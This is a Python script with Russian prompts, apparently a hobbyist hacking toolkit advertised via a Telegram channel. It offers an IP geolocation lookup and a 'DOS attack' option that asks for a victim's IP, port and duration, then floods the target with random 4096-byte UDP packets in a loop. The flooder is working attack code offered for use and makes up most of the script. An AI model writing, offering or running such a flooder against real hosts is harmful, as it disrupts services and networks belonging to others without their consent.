import requests, json, os, socket, time, random def ip(): print('Введите айпи (если хотите пробить свой айпи, ничего не вводите).') ip = input('>>> ') if ip == '': try: response = requests.get('https://ipinfo.io/json') except: print('Произошла ошибка.') print('----------') main() else: try: response = requests.get('https://ipinfo.io/' + ip + '/json') except: print('Произошла ошибка.') print('----------') main() r = response.json() try: try: print('[IP] : ' + r['ip']) except: pass try: print('[Страна] : ' + r['country']) except: pass try: print('[Регион] : ' + r['region']) except: pass try: print('[Город] : ' + r['city']) except: pass try: print('[Имя устройства] : ' + r['hostname']) except: pass try: print('[Местоположение] : ' + r['loc']) except: pass try: print('[Провайдер] : ' + r['org']) except: pass try: print('[Часовой пояс] : ' + r['timezone']) except: pass try: print('[Почтовый индекс] : ' + r['postal']) except: pass except: print('Произошла ошибка.') print('----------') main() def dos(): print('Введите айпи жертвы (если хотите использовать свой айпи, ничего не вводите).') ip = input('>>> ') if ip == '': ip = '127.0.0.1' print('Введите порт жертвы.') try: port = int(input('>>> ')) except: print('Произошла ошибка.') print('----------') main() print('Введите время атаки (в секундах).') try: duration = int(input('>>> ')) except: print('Произошла ошибка.') print('----------') main() try: client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) except: print('Произошла ошибка.') packages_sent = 0 bytes = random._urandom(4096) timeout = time.time() + duration try: while True: if time.time() > timeout: break try: client.sendto(bytes, (ip, port)) except socket.gaierror: print('Произошла ошибка.') break packages_sent += 1 print(f'Отправлено {packages_sent} пакетов на {ip}:{port}. Для преждевременного выхода нажмите ctrl+c.') except KeyboardInterrupt: print('\nЗавершение атаки...') time.sleep(.3) print('----------') main() print('----------') main() def main(): print('[1] IP пробив') print('[2] DOS атака') print('[0] Выход') a = input('>>> ') if a == '1': ip() elif a == '2': dos() elif a == '0': print('Завершение программы...') time.sleep(1) exit() else: print('Неверная команда.') print('----------') main() def clear(): if os.sys.platform == 'win32': os.system('cls') else: os.system('clear') def banner(): print(''' _ _ _ _ _ _ _ ''') print(''' | | | | |_(_) | (_) |_ ___ ''') print(''' | | | | __| |_____| | | __/ _ \ ''') print(''' | |_| | |_| |_____| | | || __/ ''') print(''' \___/ \__|_| |_|_|\__\___| ''') print(''' ''') print('Telegram: https://t.me/termuxpalace\n') if __name__ == '__main__': clear() banner() main()